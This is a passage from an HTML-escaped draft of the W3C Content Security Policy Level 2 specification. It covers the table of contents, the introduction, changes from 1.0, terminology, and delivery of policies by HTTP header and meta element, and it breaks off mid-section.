</a>\n\t\t<li><a href=#delivery-html-meta-element><span class=secno>3.3</span>        HTML <code><span data-link-type=element title=meta>meta</span></code> Element     </a>\n\t\t<li><a href=#csp-request-header><span class=secno>3.4</span> The <code>CSP</code> HTTP Request Header</a>\n\t\t<li><a href=#enforcing-multiple-policies><span class=secno>3.5</span> Enforcing multiple policies.</a>\n\t\t<li><a href=#which-policy-applies><span class=secno>3.6</span> Policy applicability</a></ul>\n\t<li><a href=#syntax-and-algorithms><span class=secno>4</span> Syntax and Algorithms</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#policy-syntax><span class=secno>4.1</span> Policy Syntax</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#policy-parsing><span class=secno>4.1.1</span> Parsing Policies</a></ul>\n\t\t<li><a href=#source-list-syntax><span class=secno>4.2</span> Source List Syntax</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#source-list-parsing><span class=secno>4.2.1</span> Parsing Source Lists</a>\n\t\t\t<li><a href=#match-source-expression><span class=secno>4.2.2</span> Matching Source Expressions</a>\n\t\t\t\t<ul class=toc>\n\t\t\t\t<li><a href=#source-list-guid-matching><span class=secno>4.2.2.1</span>            Security Considerations for GUID URI schemes         </a>\n\t\t\t\t<li><a href=#source-list-path-patching><span class=secno>4.2.2.2</span> Path Matching</a>\n\t\t\t\t<li><a href=#source-list-paths-and-redirects><span class=secno>4.2.2.3</span> Paths and Redirects</a></ul>\n\t\t\t<li><a href=#script-src-the-nonce-attribute><span class=secno>4.2.3</span>          The <code>nonce</code> attribute       </a>\n\t\t\t<li><a href=#source-list-valid-nonces><span class=secno>4.2.4</span> Valid Nonces</a>\n\t\t\t<li><a href=#source-list-valid-hashes><span class=secno>4.2.5</span> Valid Hashes</a></ul>\n\t\t<li><a href=#media-type-list><span class=secno>4.3</span> Media Type List</a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#media-type-list-parsing><span class=secno>4.3.1</span> Parsing</a>\n\t\t\t<li><a href=#media-type-list-matching><span class=secno>4.3.2</span> Matching</a></ul>\n\t\t<li><a href=#violation-reports><span class=secno>4.4</span> Reporting</a></ul>\n\t<li><a href=#processing-model><span class=secno>5</span> Processing Model</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#processing-model-workers><span class=secno>5.1</span> Workers</a>\n\t\t<li><a href=#processing-model-iframe-srcdoc><span class=secno>5.2</span> <code>srcdoc</code> IFrames</a></ul>\n\t<li><a href=#script-interfaces><span class=secno>6</span> Script Interfaces</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#securitypolicyviolationevent-interface><span class=secno>6.1</span>        <code>SecurityPolicyViolationEvent</code> Interface     </a>\n\t\t<li><a href=#securitypolicyviolationeventinit-interface><span class=secno>6.2</span>        <code>SecurityPolicyViolationEventInit</code> Interface     </a>\n\t\t<li><a href=#firing-securitypolicyviolationevent-events><span class=secno>6.3</span> Firing Violation Events</a></ul>\n\t<li><a href=#sec-directives><span class=secno>7</span> Directives</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#directive-base-uri><span class=secno>7.1</span> <code>base-uri</code></a>\n\t\t<li><a href=#directive-child-src><span class=secno>7.2</span> <code>child-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#directive-child-src-nested><span class=secno>7.2.1</span> Nested Browsing Contexts</a>\n\t\t\t<li><a href=#directive-child-src-workers><span class=secno>7.2.2</span> Workers</a></ul>\n\t\t<li><a href=#directive-connect-src><span class=secno>7.3</span> <code>connect-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#connect-src-usage><span class=secno>7.3.1</span> Usage</a></ul>\n\t\t<li><a href=#directive-default-src><span class=secno>7.4</span> <code>default-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#default-src-usage><span class=secno>7.4.1</span> Usage</a></ul>\n\t\t<li><a href=#directive-font-src><span class=secno>7.5</span> <code>font-src</code></a>\n\t\t<li><a href=#directive-form-action><span class=secno>7.6</span> <code>form-action</code></a>\n\t\t<li><a href=#directive-frame-ancestors><span class=secno>7.7</span> <code>frame-ancestors</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#frame-ancestors-and-frame-options><span class=secno>7.7.1</span>          Relation to <code>X-Frame-Options</code>       </a>\n\t\t\t<li><a href=#frame-ancestors-multiple-source-values><span class=secno>7.7.2</span> Multiple Host Source Values</a></ul>\n\t\t<li><a href=#directive-frame-src><span class=secno>7.8</span> <code>frame-src</code></a>\n\t\t<li><a href=#directive-img-src><span class=secno>7.9</span> <code>img-src</code></a>\n\t\t<li><a href=#directive-media-src><span class=secno>7.10</span> <code>media-src</code></a>\n\t\t<li><a href=#directive-object-src><span class=secno>7.11</span> <code>object-src</code></a>\n\t\t<li><a href=#directive-plugin-types><span class=secno>7.12</span> <code>plugin-types</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#plugin-types-usage><span class=secno>7.12.1</span> Usage</a>\n\t\t\t<li><a href=#plugin-types-predeclaration><span class=secno>7.12.2</span>          Predeclaration of expected media types       </a></ul>\n\t\t<li><a href=#directive-referrer><span class=secno>7.13</span> <code>referrer</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#referrer-usage><span class=secno>7.13.1</span> Usage</a></ul>\n\t\t<li><a href=#directive-reflected-xss><span class=secno>7.14</span> <code>reflected-xss</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#reflected-xss-and-x-xss-protection><span class=secno>7.14.1</span>          Relationship to <code>X-XSS-Protection</code>       </a></ul>\n\t\t<li><a href=#directive-report-uri><span class=secno>7.15</span> <code>report-uri</code></a>\n\t\t<li><a href=#directive-sandbox><span class=secno>7.16</span> <code>sandbox</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#sandbox-usage><span class=secno>7.16.1</span> Usage</a></ul>\n\t\t<li><a href=#directive-script-src><span class=secno>7.17</span> <code>script-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#script-src-nonce-usage><span class=secno>7.17.1</span>          Nonce usage for <code><span data-link-type=element title=script>script</span></code> elements       </a>\n\t\t\t<li><a href=#script-src-hash-usage><span class=secno>7.17.2</span>          Hash usage for <code><span data-link-type=element title=script>script</span></code> elements       </a></ul>\n\t\t<li><a href=#directive-style-src><span class=secno>7.18</span> <code>style-src</code></a>\n\t\t\t<ul class=toc>\n\t\t\t<li><a href=#style-src-nonce-usage><span class=secno>7.18.1</span>          Nonce usage for <code><span data-link-type=element title=style>style</span></code> elements       </a>\n\t\t\t<li><a href=#style-src-hash-usage><span class=secno>7.18.2</span>          Hash usage for <code><span data-link-type=element title=style>style</span></code> elements       </a></ul></ul>\n\t<li><a href=#examples><span class=secno>8</span> Examples</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#example-policies><span class=secno>8.1</span> Sample Policy Definitions</a>\n\t\t<li><a href=#example-violation-report><span class=secno>8.2</span> Sample Violation Report</a></ul>\n\t<li><a href=#security-considerations><span class=secno>9</span> Security Considerations</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#security-css-parsing><span class=secno>9.1</span> Cascading Style Sheet (CSS) Parsing</a>\n\t\t<li><a href=#security-violation-reports><span class=secno>9.2</span> Violation Reports</a></ul>\n\t<li><a href=#implementation-considerations><span class=secno>10</span> Implementation Considerations</a>\n\t<li><a href=#iana-considerations><span class=secno>11</span> IANA Considerations</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#iana-content-security-policy><span class=secno>11.1</span> Content-Security-Policy</a>\n\t\t<li><a href=#iana-content-security-policy-report-only><span class=secno>11.2</span> Content-Security-Policy-Report-Only</a>\n\t\t<li><a href=#iana-csp><span class=secno>11.3</span> CSP</a></ul>\n\t<li><a href=#acknowledgements><span class=secno>12</span> Acknowledgements</a>\n\t<li><a href=#conformance><span class=secno></span> Conformance</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#conventions><span class=secno></span> Document conventions</a>\n\t\t<li><a href=#conformant-algorithms><span class=secno></span> Conformant Algorithms</a>\n\t\t<li><a href=#conformance-classes><span class=secno></span> Conformance Classes</a></ul>\n\t<li><a href=#references><span class=secno></span>  References</a>\n\t\t<ul class=toc>\n\t\t<li><a href=#normative><span class=secno></span>  Normative References</a>\n\t\t<li><a href=#informative><span class=secno></span>  Informative References</a></ul>\n\t<li><a href=#index><span class=secno></span>  Index</a></ul></div>\n\n\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=1 id=intro><span class=secno>1 </span><span class=content>Introduction</span><a class=self-link href=#intro></a></h2>\n\n<p><em>This section is not normative.</em></p>\n\n<p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n<p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n<p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n<p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n<p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n\n  <h3 class=\"heading settled\" data-level=1.1 id=changes><span class=secno>1.1 </span><span class=content>Changes from 1.0</span><a class=self-link href=#changes></a></h3>\n\n<p>This document describes an evolution of the\n  <a href=http://w3.org/TR/CSP>Content Security Policy specification</a>.\n  Level 2 makes two breaking changes, and adds support for a number of new\n  directives and capabilities which are summarized below:</p>\n\n  <ol>\n    <li>\n      The following changes are backwards incompatible with the majority of\n      user agent’s implementations of CSP 1:\n\n      <ol>\n        <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          <a data-section=\"\" href=#source-list-paths-and-redirects>§4.2.2.3 Paths and Redirects</a>.\n\n<p class=note>Note: Paths are technically new in CSP2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.</p>\n        </li>\n        <li>\n          Redirects are blocked by default, and explicitly allowed with a new\n          <code>unsafe-redirect</code> expression.\n        </li>\n        <li>\n          A <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>’s ability to load Workers is now controlled\n          via <a data-link-type=dfn href=#child-src title=child-src><code>child-src</code></a> rather than\n          <a data-link-type=dfn href=#script-src title=script-src><code>script-src</code></a>.\n        </li>\n        <li>\n          Workers now have their own policy, separate from the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a> which loaded them. This is described in\n          <a data-section=\"\" href=#processing-model-workers>§5.1 Workers</a>.\n        </li>\n      </ol>\n    </li>\n    <li>\n      The following directives are brand new in this revision:\n\n      <ol>\n        <li>\n          <a data-link-type=dfn href=#base-uri title=base-uri><code>base-uri</code></a> controls the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a>’s ability to specify the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#document-base-url title=\"document base URL\">document base\n          URL</a>.\n        </li> \n        <li>\n          <a data-link-type=dfn href=#child-src title=child-src><code>child-src</code></a> deprecates and replaces\n          <a data-link-type=dfn href=#frame-src title=frame-src><code>frame-src</code></a>, controlling the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a>’s ability to embed frames, and to load Workers.\n        </li>\n        <li>\n          <a data-link-type=dfn href=#form-action title=form-action><code>form-action</code></a> controls the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a>’s ability to submit forms.\n        </li>\n        <li>\n          <a data-link-type=dfn href=#frame-ancestors title=frame-ancestors><code>frame-ancestors</code></a> controls the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a>’s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n        </li>\n        <li>\n          <a data-link-type=dfn href=#plugin-types title=plugin-types><code>plugin-types</code></a> controls the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected\n          resource</a>’s ability to load specific types of plugins.\n        </li>\n        <li>\n          <a data-link-type=dfn href=#referrer title=referrer><code>referrer</code></a> controls the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>’s\n          referrer policy <a data-biblio-type=normative data-link-type=biblio href=#biblio-referrer title=biblio-REFERRER>[REFERRER]</a>.\n        </li>\n        <li>\n          <a data-link-type=dfn href=#reflected-xss title=reflected-xss><code>reflected-xss</code></a> controls the user agent’s built-in\n          heuristics to actively protect against XSS. It is meant to supplant\n          the <code>X-XSS-Protection</code> HTTP request header.\n        </li>\n      </ol>\n    </li>\n    <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in <a data-section=\"\" href=#source-list-valid-nonces>§4.2.4 Valid Nonces</a>) and hashes (as described\n      in <a data-section=\"\" href=#source-list-valid-hashes>§4.2.5 Valid Hashes</a>).\n    </li>\n    <li>\n      A <code>CSP</code> request header is now sent with relevant requests, as\n      described in <a data-section=\"\" href=#csp-request-header>§3.4 The <code>CSP</code> HTTP Request Header</a>.\n    </li>\n    <li>\n      A <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent title=SecurityPolicyViolationEvent>SecurityPolicyViolationEvent</a></code> is fired upon violations, as described\n      in <a data-section=\"\" href=#firing-securitypolicyviolationevent-events>§6.3 Firing Violation Events</a>.\n    </li>\n    <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a data-link-type=dfn href=#report-uri title=report-uri><code>report-uri</code></a>, and those handed to the DOM via\n      <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent title=SecurityPolicyViolationEvent>SecurityPolicyViolationEvent</a></code> events. These include\n      <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent-effectivedirective title=effectiveDirective>effectiveDirective</a></code>, <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent-statuscode title=statusCode>statusCode</a></code>, <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent-sourcefile title=sourceFile>sourceFile</a></code>, <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent-linenumber title=lineNumber>lineNumber</a></code>,\n      <code class=idl><a data-link-type=idl href=#dom-securitypolicyviolationevent-columnnumber title=columnNumber>columnNumber</a></code>.\n    </li>\n  </ol>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=2 id=key-concepts><span class=secno>2 </span><span class=content>Key Concepts and Terminology</span><a class=self-link href=#key-concepts></a></h2>\n\n<p>This section defines several terms used throughout the document.</p>\n\n<p>The term <dfn data-dfn-type=dfn data-export=\"\" id=security-policy title=\"security policy|policy\">security policy<a class=self-link href=#security-policy></a></dfn>\n  refers to either:</p>\n\n  <ol>\n    <li>a set of security preferences for restrictions within which\n    the content can operate, or</li>\n    <li>a fragment of text that codifies these preferences.</li>\n  </ol>\n\n<p>The security policies defined by this document are applied by a\n  user agent on a <em>per-resource representation basis</em>.\n  Specifically, when a user agent receives a policy along with the\n  representation of a given resource, that policy applies to <em>that\n  resource representation only</em>. This document often refers to\n  that resource representation as the <dfn data-dfn-type=dfn data-export=\"\" id=protected-resource>protected resource<a class=self-link href=#protected-resource></a></dfn>.</p>\n\n<p>A <dfn data-dfn-type=dfn data-export=\"\" id=security-policy-directive title=\"security policy directive|directive\">security policy\n  directive<a class=self-link href=#security-policy-directive></a></dfn> is a portion of a <a data-link-type=dfn href=#security-policy title=policy>policy</a> that declares the specific\n  set of restrictions for a particular resource type, or which manipulates a\n  specific aspect of a protected resource’s configuration. A server transmits\n  its security policy for a particular protected resource as a collection of\n  directives, such as <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</code>, each of which\n  declares a specific set of restrictions for that resource as instantiated\n  by the user agent. More details are provided in the\n  <a data-section=\"\" href=#sec-directives>§7 Directives</a> section.</p>\n\n<p>A directive consists of a <dfn data-dfn-type=dfn data-noexport=\"\" id=directive-name0>directive name<a class=self-link href=#directive-name0></a></dfn>, which\n  indicates the privileges controlled by the directive, and a\n  <dfn data-dfn-type=dfn data-noexport=\"\" id=directive-value0>directive value<a class=self-link href=#directive-value0></a></dfn>, which specifies the restrictions the\n  policy imposes on those privileges.</p>\n\n  \n  The term <dfn data-dfn-type=dfn data-noexport=\"\" id=origin>origin<a class=self-link href=#origin></a></dfn> is defined in the Origin specification.\n  <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-RFC6454>[RFC6454]</a>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=globally-unique-identifier>globally unique identifier<a class=self-link href=#globally-unique-identifier></a></dfn> is defined in section 4 of\n  the Origin specification. Note that URLs that do not use hierarchical\n  elements as naming authorities have origins which are globally unique\n  identifiers. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-RFC6454>[RFC6454]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=uri>URI<a class=self-link href=#uri></a></dfn> is defined in the URI specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-uri title=biblio-URI>[URI]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=resource-representation>resource representation<a class=self-link href=#resource-representation></a></dfn> is defined\n  <a href=http://tools.ietf.org/html/rfc7231#section-3>Section 3</a>\n  of HTTP/1.1 -- Semantics and Content <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7231 title=biblio-RFC7231>[RFC7231]</a></p>\n\n<p>The terms <dfn data-dfn-type=dfn data-noexport=\"\" id=json-object>JSON object<a class=self-link href=#json-object></a></dfn> and <dfn data-dfn-type=dfn data-noexport=\"\" id=json-stringification>JSON stringification<a class=self-link href=#json-stringification></a></dfn> are\n  defined in the JSON specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc4627 title=biblio-RFC4627>[RFC4627]</a></p>\n\n<p>The <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#audio title=audio>audio</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code>,\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element title=source>source</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element title=track>track</a></code>, and\n  <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code> elements are defined in the HTML5\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-HTML5>[HTML5]</a></p>\n\n<p>The terms <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context title=\"auxiliary browsing contexts\">auxiliary browsing contexts</a>,\n  <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#opener-browsing-context title=\"opener browsing context\">opener browsing context</a>, and <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing contexts\">nested browsing contexts</a> are\n  defined in the HTML5 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-HTML5>[HTML5]</a></p>\n\n<p>A <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> is defined in the HTML5 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-HTML5>[HTML5]</a></p>\n\n<p>The <code><a class=\"production css\" data-link-type=at-rule href=http://www.w3.org/TR/css-fonts-3/#at-font-face-rule title=@font-face>&lt;@font-face&gt;</a></code> Cascading Style Sheets (CSS) rule is defined\n  in the CSS Fonts Module Level 3 specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-css3-fonts title=biblio-CSS3-FONTS>[CSS3-FONTS]</a></p>\n\n<p>The <code>XMLHttpRequest</code> object is defined in the\n  <code>XMLHttpRequest</code> specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-xmlhttprequest title=biblio-XMLHTTPREQUEST>[XMLHTTPREQUEST]</a></p>\n\n<p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-websockets title=biblio-WEBSOCKETS>[WEBSOCKETS]</a></p>\n\n<p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n  specification. <a data-biblio-type=normative data-link-type=biblio href=#biblio-eventsource title=biblio-EVENTSOURCE>[EVENTSOURCE]</a></p>\n\n<p>The Augmented Backus-Naur Form (ABNF) notation used in this document is\n  specified in RFC5234. <a data-biblio-type=normative data-link-type=biblio href=#biblio-abnf title=biblio-ABNF>[ABNF]</a></p>\n\n<p>This document also uses the ABNF extension \"#rule\" as defined in\n  <a href=http://tools.ietf.org/html/rfc7230#section-7>Section 7</a>\n  of HTTP/1.1 -- Message Syntax and Routing. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7230 title=biblio-RFC7230>[RFC7230]</a></p>\n\n<p>The following core rules are included by reference, as defined in\n  <a href=http://tools.ietf.org/html/rfc5234#appendix-B.1>Appendix B.1</a>\n  of <a data-biblio-type=normative data-link-type=biblio href=#biblio-abnf title=biblio-ABNF>[ABNF]</a>: <code>ALPHA</code> (letters), <code>DIGIT</code> (decimal\n  0-9), <code>WSP</code> (white space) and <code>VCHAR</code> (printing\n  characters).</p>\n\n<p><dfn data-dfn-type=dfn data-noexport=\"\" id=sha-256>SHA-256<a class=self-link href=#sha-256></a></dfn>, <dfn data-dfn-type=dfn data-noexport=\"\" id=sha-384>SHA-384<a class=self-link href=#sha-384></a></dfn>, and <dfn data-dfn-type=dfn data-noexport=\"\" id=sha-512>SHA-512<a class=self-link href=#sha-512></a></dfn> are the digest\n  algorithms <a href=http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf>defined by the NIST</a>.</p>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=runs-a-worker>runs a worker<a class=self-link href=#runs-a-worker></a></dfn> algorithm is\n  <a href=http://www.w3.org/TR/workers/#run-a-worker>defined in the Web\n  Workers spec</a>. <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-WORKERS>[WORKERS]</a></p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=callable>callable<a class=self-link href=#callable></a></dfn> refers to an object whose interface\n  has one or more <dfn data-dfn-type=dfn data-noexport=\"\" id=callers>callers<a class=self-link href=#callers></a></dfn> as defined in the <a href=http://www.w3.org/TR/2010/WD-WebIDL-20101021/#idl-callers>Web\n  IDL</a> specification <a data-biblio-type=normative data-link-type=biblio href=#biblio-webidl title=biblio-WEBIDL>[WEBIDL]</a>.</p>\n\n<p>An <dfn data-dfn-type=dfn data-noexport=\"\" id=http-200-response>HTTP 200 response<a class=self-link href=#http-200-response></a></dfn> is defined in\n  <a href=http://tools.ietf.org/html/rfc7231#section-6.3.1>Section 6.3.1</a>\n  of HTTP/1.1 -- Semantics and Content <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7231 title=biblio-RFC7231>[RFC7231]</a></p>\n</section>\n\n\n<section>\n  <h2 class=\"heading settled\" data-level=3 id=policy-delivery><span class=secno>3 </span><span class=content>Policy Delivery</span><a class=self-link href=#policy-delivery></a></h2>\n\n<p>The server delivers the policy to the user agent via an HTTP\n  response header or an HTML <a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a> element. Servers are\n  informed that requests are subject to a policy via an HTTP request\n  header.</p>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.1 id=content-security-policy-header-field><span class=secno>3.1 </span><span class=content>\n      <code>Content-Security-Policy</code> Header Field\n    </span><a class=self-link href=#content-security-policy-header-field></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-export=\"\" id=content-security-policy>Content-Security-Policy<a class=self-link href=#content-security-policy></a></dfn></code> header field is\n    the preferred mechanism for delivering a policy.</p>\n\n    <pre>\"Content-Security-Policy:\" 1#<a data-link-type=dfn href=#policy-token title=policy-token>policy-token</a>\n</pre>\n\n<p>For example:</p>\n\n    <pre class=example>Content-Security-Policy: script-src 'self'\n</pre>\n\n<p>A server MAY send more than one HTTP header field named\n    <code>Content-Security-Policy</code> with a given resource\n    representation.</p>\n\n<p>A server MAY send different <code>Content-Security-Policy</code>\n    header field values with different representations of the same\n    resource or with different resources.</p>\n\n<p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy</code> header field, the user agent\n    MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> each of the policies contained in each such\n    header field.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.2 id=content-security-policy-report-only-header-field><span class=secno>3.2 </span><span class=content>\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span><a class=self-link href=#content-security-policy-report-only-header-field></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-export=\"\" id=content-security-policy-report-only>Content-Security-Policy-Report-Only<a class=self-link href=#content-security-policy-report-only></a></dfn></code>\n    header field lets servers experiment with policies by monitoring (rather\n    than enforcing) a policy.</p>\n\n    <pre>\"Content-Security-Policy-Report-Only:\" 1#<a data-link-type=dfn href=#policy-token title=policy-token>policy-token</a>\n</pre>\n\n<p>For example, server operators might wish to develop their\n    security policy iteratively. The operators can deploy a report-only\n    policy based on their best estimate of how their site behaves:</p>\n\n    <pre class=example>Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report-endpoint/\n</pre>\n\n<p>If their site violates this policy the user agent will <a data-link-type=dfn href=#send-violation-reports title=\"send violation reports\">send violation\n    reports</a> to the URI specified in the policy’s <a data-link-type=dfn href=#report-uri title=report-uri>report-uri</a>\n    directive, but allow the violating resources to load regardless. Once a site\n    has confidence that the policy is appropriate, they can start enforcing the\n    policy using the <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code> header field.</p>\n\n<p>A server MAY send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only</code> with a given\n    resource representation.</p>\n\n<p>A server MAY send different\n    <code>Content-Security-Policy-Report-Only</code> header field values\n    with different representations of the same resource or with different\n    resources.</p>\n\n<p>Upon receiving an HTTP response containing at least one\n    <code>Content-Security-Policy-Report-Only</code> header field, the\n    user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> each of the policies\n    contained in each such header field.</p>\n\n<p class=note>Note: The <code><a data-link-type=dfn href=#content-security-policy-report-only title=Content-Security-Policy-Report-Only>Content-Security-Policy-Report-Only</a></code>\n    header is <em>not</em> supported inside a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element.</p>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=3.3 id=delivery-html-meta-element><span class=secno>3.3 </span><span class=content>\n      HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> Element\n    </span><a class=self-link href=#delivery-html-meta-element></a></h3>\n\n<p>The server MAY supply a policy in an HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code>\n    element with an <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv title=http-equiv>http-equiv</a></code> attribute that\n    is a case insensitive match for the string\n    \"<code>Content-Security-Policy</code>\". For example:</p>\n\n    <pre class=example>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'\"&gt;\n</pre>\n\n    \n    Add the following entry to the\n    <a href=http://www.w3.org/TR/html5/document-metadata.html#pragma-directives>pragma directives</a>\n    for the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element:\n\n    <dl>\n      <dt>\n        Content security policy\n        (<code>http-equiv=\"content-security-policy\"</code>)\n      </dt>\n      <dd>\n        <ol>\n          <li>If the Document’s <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-head-element title=head>head</a></code> element is\n          not an ancestor of the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element, abort\n          these steps.</li>\n\n          <li>If the <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element lacks a\n          <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content title=content>content</a></code> attribute, abort these\n          steps.</li>\n\n          <li>Let <var>policy</var> be the value of the\n          <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content 